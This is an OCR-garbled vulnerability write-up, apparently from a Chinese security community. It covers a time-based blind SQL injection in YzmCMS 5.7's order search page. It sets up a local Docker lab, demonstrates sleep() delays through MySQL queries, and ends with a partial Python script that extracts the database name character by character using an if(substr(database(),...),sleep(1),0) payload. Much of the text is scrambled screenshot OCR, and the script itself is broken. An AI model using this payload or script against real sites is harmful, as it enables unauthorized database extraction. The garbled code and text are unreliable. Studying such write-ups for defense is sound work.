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docker run -it -d --name mysql_dev -p 3307:3306 -e MYSQL_ROOT_PASSWORD=root mysql:5.6 --character-

set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci
docker run -d -p 80:80 --link mysql_dev -v $(pwd):/var/www/html suanve/php:7-apache
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mysql> select * from “yzmcms™ . “yzm_order”;
Empty set (8.01 sec)

mysql> select count(*) as total from “yzmcms™ . “yzm_order™ where 1=1 and "type” = sleep(l);

1 row in set (0.80 sec)

mysgql= I
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SELECT COUNT(*) AS total FROM “yzmcms™ . “yzm_order’ WHERE 1=1 AND "type = sleep(1);

(EREERE, SrrE—FITRIEEE


https://xzfile.aliyuncs.com/media/upload/picture/20200706102902-746f00c2-bf30-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200706102703-2dd8459c-bf30-1.png

BE #H% IR BHO #EH o iN:NNNN: (A ¢

X | M EEAL - YZMCMSHABER! X | YzmCMS - JRiRis BRAPL Pl M YzmCMSIERIER

9 | ® 127.0.0.1/member/member_pay/pay.html B2 e B T W
MfR: yzmems , BHER

SRt MAER SHEHL

B nage TERE

LR

BB AR kesm: ¥ 0.00, moss: 1

RBIHORE AEAR: 0% ORY (TARTMAXRME 10 £RD)
sk

i

wfESEH: 30

2= KeigE
fEn ZfER: O a R

BBk IERS: Ivas ﬁ 4 3

BN
HBFE/ R 2 B
& MBI
HEERE
ITEER
ANIKiSF
THERIDR

& HHSE


https://xzfile.aliyuncs.com/media/upload/picture/20200706102703-2dd8459c-bf30-1.png

BT
B

TARIENZS

(https://xzfile.aliyuncs.com/media/upload/picture/20200706102703-2dd8459c¢-bf30-
1.png)

EREREXIBR TEKkE, BERXMIBAREET.

X PN LR ' W) ® 0l U Cee—— 5ke/s M V@

X | M EEAY - YZnCMSHBEER! X | YzZmCMS - &S

© @ 127.0.0.1/member/member_pay/create_order.html CANETTIE A I - S ¢

RRMER

appid should not be NULL!

RERE E—TT

(https://xzfile.aliyuncs.com/media/upload/picture/20200706102711-32bbda56-bf30-
1.png)


https://xzfile.aliyuncs.com/media/upload/picture/20200706102703-2dd8459c-bf30-1.png
https://xzfile.aliyuncs.com/media/upload/picture/20200706102711-32bbda56-bf30-1.png

i BE PE IA EHO % o DTN B Y4 TADT X E

X | M EEh - YZmCMSAREEZR! X | YzmCMS - BiRl KA Rl M YzmCMSHRRER X M YzmCMSHRRER
©  ® 127.0.0.1/member/member_pay/order_list.ntml B e @ T W v IN @O & 1
SOMAR: yzmems , BEHBER A REER

ARG TAER THRA

B nagE ITRER
ELIRT
R ITRERS ] ITERIEE XfFBERX TEAE RE B
RBIHRE 202006301546341249 30007  REFME: 307 EZhE 2020-06-30 15:46:34 ES-T0 iR
(o623
8F KSIRE HIKIER Bl Em i =0
(o et
Bk
BREB
HBFE/ 2 m
[ £ T
TEERE
iTRER
AIKiER
HEER

* BT

(https://xzfile.aliyuncs.com/media/upload/picture/20200706102721-388c7346-bf30-

1.png)
XEFMAT LT sleep 7


https://xzfile.aliyuncs.com/media/upload/picture/20200706102721-388c7346-bf30-1.png

mysql> select * from “yzmems®™ . ‘yzm order’;

== Fmmm=o eSS osColTooosooseooSmss oo ses ==
id | order_sn status | userid | username addtime | paytime | p«

1593503194 |

mysql> select count(*) as total from “yzmems®™ . “yzm_ order” where 1=1 and “type’ = sleep(l);
+= +
total |

1 row in set (1.01 sec)

mysql> |
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import requests

chars = '{}-abcdefghigklmnopqrstuvwxyz6123u56789"
for i in range(10):
for ¢ in range(len(chars)):
tp://127.0.0.1:80/member/order/order_search . html?0f=id&or=DESC&dosubmit=186t_type=if(substr(database(), {6},1)in({1}),sleep(1),0)" . format(i,hex(ord(chars[c])))
burpd_cookies 4445276132eac268161b88eU95C76791d5a227d18acT97Feu33689aF189aue823a72be9eT2711be9981903U6F3760d0adTbB6C562e1 031 700c5252bUUTdI5F5827TFa6dc00eB5751e78b0UB00OU", "PHPSESSID": "866d
burpd_headers = {"User-Agen l0zil1a/5.0 (Windows NT 10.; Winéu; x64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtmls+xml,application/xnl;q=0.9, inage/nebp,*/*;q=0.8", "Accept-Langu

get(burpo_url, headers=burpd_headers, cookies

# su @ suanve 4n ~/Downloads/YznCHS-V5.7 [15:57:32]
python sql1.py
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